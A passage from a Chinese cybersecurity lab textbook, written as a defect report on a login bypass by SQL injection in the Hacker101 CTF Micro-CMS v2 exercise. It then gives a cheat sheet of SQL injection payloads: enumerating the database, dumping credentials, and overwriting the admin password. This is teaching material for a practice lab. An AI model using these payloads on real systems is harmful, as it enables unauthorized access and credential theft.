网络空间安全实验教程
上QQ阅读APP看书,第一时间看更新

1.4 CTF Micro-CMS v2网站有SQL注入风险

缺陷标题:CTF Micro-CMS v2网站>登录>通过SQL注入语句,可以直接登录。

测试平台与浏览器:Windows 10+Firefox或IE11浏览器。

测试步骤

1)打开国外安全夺旗比赛网站主页https://ctf.hacker101.com/ctf,如果已有账户请直接登录,没有账户需要注册一个账户并登录。

2)登录成功后,请进入到Micro-CMS v2网站项目https://ctf.hacker101.com/ctf/launch/3,如图1-5所示。

图1-5 进入Micro-CMS v2网站项目

3)单击Create a new page链接,出现如图1-6所示的登录页面,在Username中输入'UNION SELECT'123'AS password#,在Password中输入123。

图1-6 登录页面

4)单击登录按钮观察。

期望结果:不能登录用户。

实际结果:登录成功,如图1-7所示,在登录成功页面单击P rivate P age链接就能捕获Flag(旗),如图1-8所示。

图1-7 登录成功返回页面

图1-8 捕获Private Page的Flag

[攻击分析]:

SQL注入攻击,利用的是数据库SQL语法,对SQL语法使用越深入,能攻击得到的Flag就越多。常见的攻击语法如下。

获取数据库版本:and(select@@version)>0

获取当前数据库名:and db_name()>0

获取当前数据库用户名:and user>0 and user_name()='dbo'

猜解所有数据库名称:and(select count(*)from master.dbo.sysdatabases where name>1 and dbid=6)<>0

猜解表的字段名称:and(Select Top 1 col_name(object_id('表名'),1)from sy-sobjects)>0

如果知道了表名和字段名就可以查询准确的值:union select 1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6

查询账号:union select min(username),1,1,1,..from users where username >'a'

修改管理员的密码为123:.asp?id=××;update admin set password='123'where id=1

猜解数据库中用户名表的名称: